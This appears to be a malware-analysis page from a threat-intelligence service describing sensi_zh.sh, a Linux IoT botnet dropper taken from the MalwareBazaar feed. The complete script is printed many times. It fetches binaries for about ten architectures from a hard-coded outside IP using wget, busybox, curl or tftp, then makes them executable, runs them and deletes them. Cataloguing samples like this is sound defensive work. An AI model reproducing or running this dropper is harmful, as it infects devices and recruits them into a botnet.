96d65f665a5afcca661374d3cb28bdbece6e053bcfcb965858269f8987aa0e0c

SHELL

HOSTILE

96d65f665a5afcca661374d3cb28bdbece6e053bcfcb965858269f8987aa0e0c · 100%

AI Multi-arch IoT botnet dropper script

Mal-ecule

O(C₄)H₄(F₃Cm₆Os₃Po₄)

Size 529 B download

First seen 3 days ago

Analyzed 3 days ago

Ecosystem linux

Source abuse.ch

Also detected by 1 source

Multi-architecture fallback payload dropper: sensi_zh.sh:0x9a

Multi-architecture protocol fallback execution: sensi_zh.sh:0x9a

Multi-fetch multi-arch payload dropper: sensi_zh.sh:0x9a

sensi_zh.sh shell

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \	Multi-architecture fallback payload dropper
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \	Multi-architecture protocol fallback execution
11	tftp -g -l d -r $1 $SERVER 2>/dev/null	Multi-fetch multi-arch payload dropper
12	chmod 777 d 2>/dev/null	chmod 777 before local execution
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Objectives

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Micro-behaviors

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d zhone
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Metadata

Identity

SHA-256	96d65f665a5afcca661374d3cb28bdbece6e053bcfcb965858269f8987aa0e0c
Filename	sensi_zh.sh
Package	96d65f665a5afcca661374d3cb28bdbece6e053bcfcb965858269f8987aa0e0c

Origin

Source	harvest
Feed	malwarebazaar
Ecosystem	linux
Domain	abuse.ch

Timeline

First seen	2 Aug 2026 06:42 UTC
First analyzed	2 Aug 2026 20:54 UTC
Last analyzed	2 Aug 2026 20:54 UTC
Last updated	2 Aug 2026 20:54 UTC

Labeling

Label	bad
Label source	harvest
Traits version	e785a

Not seeing what you expected? Let us know